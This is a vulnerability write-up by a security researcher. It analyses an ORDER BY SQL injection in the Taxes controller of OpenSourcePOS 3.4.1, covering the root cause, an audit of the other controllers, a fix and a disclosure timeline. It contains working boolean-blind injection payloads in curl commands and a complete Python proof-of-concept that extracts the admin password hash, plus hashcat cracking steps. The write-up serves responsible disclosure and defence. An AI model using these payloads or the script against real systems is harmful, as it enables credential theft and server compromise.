Jiva | April 4, 2026
There is a particular category of vulnerability that I find more instructive than any novel technique or complex chain: the one where the developers clearly knew what to do, did it correctly everywhere else, and missed it in exactly one place.
OpenSourcePOS 3.4.1 has a method called sanitizeSortColumn() in its Secure_Controller base class. It takes a whitelist of valid column names and the user-supplied sort parameter, and returns the value only if it matches the whitelist. If it does not match, it returns a safe default column name. Every search endpoint in the application uses it — Items, Employees, Customers, Suppliers, Giftcards, Expenses, Expenses_categories, Cashups, Item_kits, Sales, Attributes. Every single one.
Except Taxes.
The Taxes controller passes the sort parameter through FILTER_SANITIZE_FULL_SPECIAL_CHARS — an HTML entity encoding filter that does absolutely nothing to prevent SQL injection — and then hands it directly to the query builder's orderBy() method. The sort value flows, unvalidated, into an ORDER BY clause.
What makes this more than an academic finding is the escalation path. The sort parameter is a GET query parameter, not a URL path segment, which means CodeIgniter 4's permittedURIChars restriction does not apply. Full SQL syntax is available. Boolean-blind injection is straightforward. And the data I extracted was the admin bcrypt password hash — which, combined with the RCE finding from Part 1, means any employee with taxes module access is roughly 420 boolean queries away from the admin hash, and from there full server compromise.
Before I explain the bug, it is worth understanding the defense that is in place everywhere else. Secure_Controller defines:
public function sanitizeSortColumn($headers, $field, $default): string
{
return $field != null && in_array($field, array_keys(array_merge(...$headers))) ? $field : $default;
}
Simple allowlist, terse implementation. The $headers parameter is an array of single-key associative arrays — each module exposes its column definitions through a *_headers() helper (item_headers(), person_headers(), customer_headers(), cashup_headers(), and so on) that returns shapes like [['items.item_id' => ...], ['item_number' => ...], ...]. The variadic array_merge(...$headers) flattens those single-element arrays into one associative array; array_keys() then yields the whitelist of valid column names. If the user-supplied $field matches one of those keys (case-sensitive), it passes through. Otherwise the default is returned.
Here is how the Items controller uses it:
$sort = $this->sanitizeSortColumn(
item_headers(),
$this->request->getGet('sort', FILTER_SANITIZE_FULL_SPECIAL_CHARS),
'item_id'
);
Employees:
$sort = $this->sanitizeSortColumn(
person_headers(),
$this->request->getGet('sort', FILTER_SANITIZE_FULL_SPECIAL_CHARS),
'people.person_id'
);
Customers. Suppliers. Giftcards. Expenses. Expenses_categories. Cashups. Item_kits. Sales. Attributes. I checked every getSearch() method in every controller that extends Secure_Controller. They all follow the same pattern. The FILTER_SANITIZE_FULL_SPECIAL_CHARS filter is there too — belt and suspenders — but sanitizeSortColumn() is the actual defense.
app/Controllers/Taxes.php, the getSearch() method:
public function getSearch(): void
{
$search = $this->request->getGet('search');
$limit = $this->request->getGet('limit', FILTER_SANITIZE_NUMBER_INT);
$offset = $this->request->getGet('offset', FILTER_SANITIZE_NUMBER_INT);
$sort = $this->request->getGet('sort', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
$order = $this->request->getGet('order', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
$tax_rates = $this->tax->search($search, $limit, $offset, $sort, $order);
...
}

Taxes.php getSearch() method showing the missing sanitizeSortColumn() callgetSearch() method. The sort parameter gets FILTER_SANITIZE_FULL_SPECIAL_CHARS but not sanitizeSortColumn(). Compare with any other controller's getSearch() method — they all call sanitizeSortColumn(). This one does not.No sanitizeSortColumn(). The sort value goes straight from the GET parameter into the model.
app/Models/Tax.php:
$builder->orderBy($sort, $order);
CodeIgniter 4's query builder orderBy() method does not escape or validate the column name argument. It trusts the caller to provide a valid column reference. Every other caller in the application does, via sanitizeSortColumn(). The Taxes controller does not.
FILTER_SANITIZE_FULL_SPECIAL_CHARS encodes <, >, ", &, and ' to their HTML entity equivalents. This is designed to prevent XSS in HTML output. It does nothing to prevent SQL injection. The characters that matter for SQL — parentheses, spaces, keywords, operators — pass through completely unchanged.
It is worth pausing on a property of where this injection lives. CodeIgniter 4 has a permittedURIChars setting that restricts what characters are allowed in URI path segments. OpenSourcePOS ships with the framework default, a-z 0-9~%.:_\-, applied as a case-insensitive regex character class (/\A[<permittedURIChars>]+\z/iu) — so in practice this allows: a-z A-Z 0-9 ~ % . : _ - (space).
Not allowed: ( ) ' " , ; — the characters needed for most SQL injection techniques. A SQL injection through a URL path segment in a CI4 application would be heavily constrained, requiring boolean-blind techniques using hex literals and keyword-only constructions.
The Taxes sort parameter is a GET query parameter. When you request /taxes/search?sort=tax_code&order=asc, the sort value is parsed by PHP's $_GET superglobal, not by CI4's URL router. The permittedURIChars restriction applies only to URI path segments — the part of the URL before the ?. Query parameters are completely unrestricted.
This means full SQL syntax is available. Parentheses, commas (with a caveat), quotes, subqueries, UNION, CASE WHEN — everything that permittedURIChars blocks in URL segments is available in query parameters. The Taxes SQLi is an unrestricted injection point.
There was one constraint to navigate. CodeIgniter 4's $builder->orderBy() method has an internal behavior: it splits the sort value on commas, treating each comma-separated piece as an independent column for a multi-column ORDER BY. This means sort=col1,col2 produces ORDER BY col1, col2 — convenient for the framework, inconvenient for injection payloads that use commas internally.
A payload like (SELECT 1 FROM dual),(SELECT 2 FROM dual) would be split into two separate ORDER BY columns before being concatenated into SQL. The injection would still execute, but the semantic structure would be wrong.
The solution is comma-free SQL. This is a well-known constraint in SQL injection — several contexts require comma avoidance. The CASE WHEN ... THEN ... ELSE ... END expression is entirely comma-free and provides a boolean oracle:
(CASE WHEN <condition> THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)
When the condition is true: the expression evaluates to 1, which is a valid ORDER BY value. The query succeeds. HTTP 200.
When the condition is false: the expression evaluates to (SELECT 1 UNION SELECT 2), which returns two rows. In a scalar context (ORDER BY expects a single value), MySQL raises an error. HTTP 500.
This gives me a clean binary oracle. HTTP 200 = true. HTTP 500 = false.
For string extraction, SUBSTR(x, n, 1) uses commas. The MySQL-compatible alternative SUBSTRING(x FROM n FOR 1) does not. Similarly, ORD() takes a single argument (no commas needed) and returns the ASCII code of the first character.
First, I needed to verify that the sort parameter was actually reaching the ORDER BY clause without sanitization.
# Baseline -- valid column name, expect HTTP 200
curl -s -b cookies.txt \
'http://192.168.3.9:8070/taxes/search?sort=tax_code_name&order=asc&limit=10&search=' \
-w '\nHTTP:%{http_code}' -o /dev/null
# HTTP:200
# Invalid column name -- CI4 orderBy() does not validate, MySQL errors
curl -s -b cookies.txt \
'http://192.168.3.9:8070/taxes/search?sort=XYZNOTVALID&order=asc&limit=10&search=' \
-w '\nHTTP:%{http_code}' -o /dev/null
# HTTP:500
HTTP 200 for a valid column, HTTP 500 for garbage. The sort value is reaching MySQL.
# True condition -- should succeed
curl -s -b cookies.txt \
'http://192.168.3.9:8070/taxes/search?sort=(CASE+WHEN+1=1+THEN+1+ELSE+(SELECT+1+UNION+SELECT+2)+END)&order=asc&limit=10&search=' \
-w '\nHTTP:%{http_code}' -o /dev/null
# HTTP:200
# False condition -- should error
curl -s -b cookies.txt \
'http://192.168.3.9:8070/taxes/search?sort=(CASE+WHEN+1=2+THEN+1+ELSE+(SELECT+1+UNION+SELECT+2)+END)&order=asc&limit=10&search=' \
-w '\nHTTP:%{http_code}' -o /dev/null
# HTTP:500

curl requests with true condition (HTTP 200) and false condition (HTTP 500)CASE WHEN expression with a true condition (1=1) returns HTTP 200 because the ORDER BY succeeds. The false condition (1=2) triggers the UNION error subquery, causing MySQL to error and returning HTTP 500. This binary oracle allows extracting arbitrary data from the database one bit at a time.Boolean oracle confirmed. Now I can ask the database any yes/no question.
The ospos_employees table stores user credentials. I first confirmed the table structure:
# Is there a 'password' column in ospos_employees?
curl -s -b cookies.txt \
'http://192.168.3.9:8070/taxes/search?sort=(CASE+WHEN+(SELECT+COUNT(*)+FROM+information_schema.columns+WHERE+table_name=0x6f73706f735f656d706c6f79656573+AND+column_name=0x70617373776f7264)=1+THEN+1+ELSE+(SELECT+1+UNION+SELECT+2)+END)&order=asc&limit=10&search=' \
-w '\nHTTP:%{http_code}' -o /dev/null
# HTTP:200 -- yes, password column exists
(The hex literals 0x6f73706f735f656d706c6f79656573 = ospos_employees and 0x70617373776f7264 = password avoid using string delimiters, which FILTER_SANITIZE_FULL_SPECIAL_CHARS would entity-encode.)
# Is the admin password exactly 60 characters? (bcrypt is always 60)
curl -s -b cookies.txt \
'http://192.168.3.9:8070/taxes/search?sort=(CASE+WHEN+(SELECT+LENGTH(password)+FROM+ospos_employees+WHERE+username=0x61646d696e)=60+THEN+1+ELSE+(SELECT+1+UNION+SELECT+2)+END)&order=asc&limit=10&search=' \
-w '\nHTTP:%{http_code}' -o /dev/null
# HTTP:200 -- 60 characters, bcrypt confirmed
# First character: ASCII 36 = '$'
curl -s -b cookies.txt \
'http://192.168.3.9:8070/taxes/search?sort=(CASE+WHEN+(SELECT+ORD(SUBSTRING(password+FROM+1+FOR+1))+FROM+ospos_employees+WHERE+username=0x61646d696e)=36+THEN+1+ELSE+(SELECT+1+UNION+SELECT+2)+END)&order=asc&limit=10&search=' \
-w '\nHTTP:%{http_code}' -o /dev/null
# HTTP:200 -- '$'
# Second character: ASCII 50 = '2'
# ...HTTP:200
# Third character: ASCII 121 = 'y'
# ...HTTP:200
The pattern $2y$10$... is a bcrypt hash with cost factor 10. I extracted the first 30 characters to confirm the hash format and prove data extraction. The full 60-character hash is extractable with 60 iterations of up to 95 requests each (printable ASCII range), or more efficiently using binary search to reduce to ~7 requests per character — approximately 420 requests total for the complete hash.
First 30 characters extracted: $2y$10$vJBSMlD02EC7ENSrKfVQXuv
For a clean PoC, I wrote a Python script that automates the extraction:
#!/usr/bin/env python3
"""
CVE-2026-41306 -- Boolean-Blind Hash Extraction (OpenSourcePOS 3.4.1)
Target: /taxes/search sort parameter
Requires: authenticated session cookie with taxes module access
Author: Jiva (JivaSecurity.com)
"""
import requests
import sys
TARGET = "http://192.168.3.9:8070"
def query(session_cookie, condition):
"""Returns True if the SQL condition evaluates to true."""
payload = (
f"(CASE+WHEN+{condition}+THEN+1+"
f"ELSE+(SELECT+1+UNION+SELECT+2)+END)"
)
url = (
f"{TARGET}/taxes/search?sort={payload}"
f"&order=asc&limit=1&search="
)
r = requests.get(
url,
headers={"Cookie": f"ospos_session={session_cookie}"},
timeout=10
)
return r.status_code == 200
def extract_char(session_cookie, sql_expr, position):
"""Extract a single character using binary search."""
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
# Is the character > mid?
cond = (
f"(SELECT+ORD(SUBSTRING(({sql_expr})"
f"+FROM+{position}+FOR+1)))>{mid}"
)
if query(session_cookie, cond):
low = mid + 1
else:
# Is the character = mid?
cond_eq = (
f"(SELECT+ORD(SUBSTRING(({sql_expr})"
f"+FROM+{position}+FOR+1)))={mid}"
)
if query(session_cookie, cond_eq):
return chr(mid)
high = mid - 1
return None
def extract_string(session_cookie, sql_expr, max_len=60):
"""Extract a string character by character."""
result = ""
for i in range(1, max_len + 1):
ch = extract_char(session_cookie, sql_expr, i)
if ch is None:
break
result += ch
print(f"\r[+] Extracting: {result}", end="", flush=True)
print()
return result
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <session_cookie_value>")
sys.exit(1)
cookie = sys.argv[1]
print("[*] Confirming injection...")
if not query(cookie, "1=1"):
print("[-] Baseline true condition failed. Check cookie.")
sys.exit(1)
if query(cookie, "1=2"):
print("[-] Baseline false condition succeeded. Oracle broken.")
sys.exit(1)
print("[+] Oracle confirmed.")
print("[*] Extracting admin password hash...")
sql = (
"SELECT+password+FROM+ospos_employees+"
"WHERE+username=0x61646d696e"
)
hash_val = extract_string(cookie, sql)
print(f"[+] Hash: {hash_val}")
print("[*] Run: hashcat -m 3200 hash.txt wordlist.txt")
Sample run:
$ python3 exploit.py abc123def456
[*] Confirming injection...
[+] Oracle confirmed.
[*] Extracting admin password hash...
[+] Extracting: $2y$10$vJBSMlD02EC7ENSrKfVQXuvXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] Hash: $2y$10$vJBSMlD02EC7ENSrKfVQXuvXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[*] Run: hashcat -m 3200 hash.txt wordlist.txt
The extracted hash can be cracked offline with hashcat (-m 3200 for bcrypt). The default admin password pointofsale would fall to any wordlist that includes it, or to a targeted list of common POS application defaults. Bcrypt cost factor 10 slows brute-force but does not prevent dictionary attacks against weak passwords.
This finding enables a complete escalation path from low-privilege employee to server compromise:
Employee → Admin → RCE
pointofsale falls immediately. Custom passwords fall to wordlists or brute-force depending on complexity. Bcrypt cost 10 gives approximately 500 hashes/second on a modern GPU.www-data.The chain starts with a role that would be granted to any employee who needs to view or manage tax configurations. It ends with full server compromise.
I audited every controller that extends Secure_Controller to verify whether sanitizeSortColumn() was consistently applied:
| Controller | Has sanitizeSortColumn()? |
Vulnerable? |
|---|---|---|
| Items | Yes | No |
| Employees | Yes | No |
| Customers | Yes | No |
| Suppliers | Yes | No |
| Giftcards | Yes | No |
| Expenses | Yes | No |
| Cashups | Yes | No |
| Item_kits | Yes | No |
| Sales | Yes | No |
| Expenses_categories | Yes | No |
| Attributes | Yes | No |
| Taxes | No | Yes |
Taxes is the only search controller that omits sanitizeSortColumn(). Every other controller follows the established pattern.
The order parameter (ASC/DESC) also goes through only FILTER_SANITIZE_FULL_SPECIAL_CHARS. However, CodeIgniter 4's orderBy() method validates the direction argument against a hardcoded list (ASC, DESC, RANDOM). Invalid values are silently replaced with ASC. The order parameter is not injectable.
I can speculate on why Taxes was the exception. The Taxes module is a relatively small part of the application — a simple CRUD for tax rate definitions. It may have been written by a different developer, or at a different time, or copied from a template that predated the introduction of sanitizeSortColumn(). The method exists, the pattern is established, and every other controller uses it. One controller slipped through whatever code review or consistency check was in place.
This is exactly the kind of finding that a code-review is designed to catch. A black-box scanner that fuzzes sort parameters might or might not detect blind SQLi through a boolean oracle (it depends on how the scanner handles the CASE WHEN error condition). A code reviewer reading only the Taxes controller might not notice the absence of sanitizeSortColumn() unless they know the pattern exists. It is the comparison across controllers — the recognition that every other search method does something that this one does not — that surfaces the finding.
ORDER BY injection does not directly enable data modification through the same query. However, extracted credentials enable authentication as admin, which provides full write access to the application. Combined with CVE-2026-41307, it enables full server compromise.The CVSS score includes S:C (Scope Changed) because the vulnerability in the web application directly enables compromise of the underlying server through the CVE-2026-41307 chain. The impact extends beyond the authorization scope of the vulnerable component.
Any authenticated user with access to the taxes module. In a retail POS system, this includes:
The taxes module is business functionality. It is not an admin-only feature. The user does not need admin privileges, does not need access to system configuration, and does not need any special permissions beyond the ability to view the taxes management page.
The other controllers all pass an array of header definitions to sanitizeSortColumn() — item_headers(), person_headers(), and so on, each of which returns the array shape [['col1' => 'label1'], ['col2' => 'label2'], ...] that array_merge(...$headers) can flatten. The Taxes module is missing an analogous helper: get_tax_rates_manage_table_headers() in app/Helpers/tax_helper.php already inlines the headers array, but only to feed it directly into transform_headers() and emit HTML. So the fix is a small refactor plus the controller change.
In app/Helpers/tax_helper.php, extract the inlined array into its own helper:
function tax_rate_headers(): array
{
return [
['tax_code' => lang('Taxes.tax_code')],
['tax_code_name' => lang('Taxes.tax_code_name')],
['jurisdiction_name' => lang('Taxes.jurisdiction_name')],
['tax_category' => lang('Taxes.tax_category')],
['tax_rate' => lang('Taxes.tax_rate')],
['rounding_code_name' => lang('Taxes.rounding_code')]
];
}
function get_tax_rates_manage_table_headers(): string
{
return transform_headers(tax_rate_headers());
}
Then in app/Controllers/Taxes.php, line 83, change:
$sort = $this->request->getGet('sort', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
To:
$sort = $this->sanitizeSortColumn(
tax_rate_headers(),
$this->request->getGet('sort', FILTER_SANITIZE_FULL_SPECIAL_CHARS),
'tax_code_name'
);
This mirrors the existing item_headers() / get_items_manage_table_headers() split and the equivalent pairs for every other module. The default fallback tax_code_name matches the default already used inside Tax::search().
Consider adding a framework-level enforcement that all orderBy() calls must go through sanitizeSortColumn(). This could be implemented as a code review rule, a custom linting check, or a wrapper method that the query builder calls instead of the raw orderBy(). The current approach — relying on each controller to remember to call the sanitization function — is exactly the pattern that produces one-off misses like this.
| Date | Event |
|---|---|
| 2026-03-29 | Vulnerability identified and confirmed during independent security research |
| 2026-04-04 | Finding documented with full PoC |
| 2026-04-04 | Vulnerability reported to maintainers via GitHub Security Advisory (GHSA-2w4j-mm2p-g28q) |
| 2026-04-04 | Maintainer acknowledged and informed me fix will be created soon |
| 2026-04-06 | Maintainer publishes PR #4469 containing fix in commit 5da46a7b8 |
| 2026-04-20 | GitHub assigns CVE-2026-41306 |
| 2026-04-29 | This write-up published |
Part 1 of this series covers the OS command injection in the email configuration that this finding chains into for full server compromise — read it here.
Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.